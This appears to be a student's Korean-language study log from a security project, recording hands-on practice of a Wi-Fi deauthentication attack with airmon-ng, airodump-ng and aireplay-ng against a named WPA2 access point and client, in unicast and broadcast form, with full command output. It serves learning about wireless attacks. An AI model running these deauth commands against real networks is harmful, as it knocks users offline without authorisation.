9/3 공부내용_공재호

👤 Asignee	
🕐 Joined	@Sep 3, 2020 4:51 PM
⚙ Location	공재호
⚙ Title	

1. wbs 수정 완료

2. 프로젝트 계획서의 배경 : 기존 kisa 초점 → 국내에서 제공하는 보안랜 가이드라인

3. Deauth Packet 실습

```
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0
airmon-ng check kill
airodump-ng wlan0

airodump-ng wlan0 -c 9
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
B4:A9:4F:4D:ED:1F	-37	2	1 0	9	360	WPA2	CCMP	PSK	KT_GiGA_2G_Wave2_ED1B

```
airodump-ng --channel 9 --bssid B4:A9:4F:4D:ED:1F wlan0
```

```
CH  9 ][ Elapsed: 54 s ][ 2020-09-03 17:38

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

B4:A9:4F:4D:ED:1F  -48   5      536        72    0   9   360   WPA2 CCMP   PSK  KT_GiGA_2G_Wave2_ED1B

BSSID              STATION          PWR   Rate   Lost    Frames  Notes  Probes

B4:A9:4F:4D:ED:1F  AA:E9:BE:83:2D:F0  -21    1e-11      1      119
Quitting ...
```

특정AP 끊기(UNICAST)

```
aireplay-ng --deauth 20 -a B4:A9:4F:4D:ED:1F -c AA:E9:BE:83:2D:F0 wlan0
```

```
root@kali:/home/user1# aireplay-ng --deauth 20 -a B4:A9:4F:4D:ED:1F -c AA:E9:BE:83:2D:F0 wlan0
17:39:32  Waiting for beacon frame (BSSID: B4:A9:4F:4D:ED:1F) on channel 9
17:39:32  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [27|50 ACKs]
17:39:33  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [68|72 ACKs]
17:39:33  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [57|60 ACKs]
17:39:34  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [68|68 ACKs]
17:39:35  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [63|62 ACKs]
17:39:35  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [50|58 ACKs]
17:39:36  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|58 ACKs]
17:39:36  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 3|63 ACKs]
17:39:37  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|63 ACKs]
17:39:38  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|65 ACKs]
17:39:38  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|61 ACKs]
17:39:39  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 1|64 ACKs]
17:39:39  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|61 ACKs]
17:39:40  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 1|59 ACKs]
17:39:41  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|63 ACKs]
17:39:41  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|63 ACKs]
17:39:42  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|64 ACKs]
17:39:42  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|66 ACKs]
17:39:43  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|60 ACKs]
17:39:44  Sending 64 directed DeAuth (code 7). STMAC: [AA:E9:BE:83:2D:F0] [ 0|64 ACKs]
root@kali:/home/user1#
```

→ 연결 끊킴 5초후 다시 잘잡혔음.

연결된 모든 AP 끊기 (BROADCAST)

```
aireplay-ng --deauth 20 -a B4:A9:4F:4D:ED:1F -c FF:FF:FF:FF:FF:FF wlan0
```

```
root@kali:/home/user1# aireplay-ng --deauth 20 -a B4:A9:4F:4D:ED:1F -c FF:FF:FF:FF:FF:FF wlan0
17:43:52  Waiting for beacon frame (BSSID: B4:A9:4F:4D:ED:1F) on channel 9
17:43:53  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 7| 0 ACKs]
17:43:53  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 3| 0 ACKs]
17:43:54  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 2| 0 ACKs]
17:43:54  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:43:55  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:43:56  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 2| 0 ACKs]
17:43:56  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 3| 0 ACKs]
17:43:57  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:43:57  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:43:58  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:43:58  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:43:59  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:44:00  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:44:00  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:44:01  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:44:01  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 6| 0 ACKs]
17:44:02  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 1| 0 ACKs]
17:44:03  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:44:03  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 0| 0 ACKs]
17:44:04  Sending 64 directed DeAuth (code 7). STMAC: [FF:FF:FF:FF:FF:FF] [ 1| 0 ACKs]
root@kali:/home/user1#
```

→ 이 또한 끊긴 후 5초 후 다시 잘 잡힘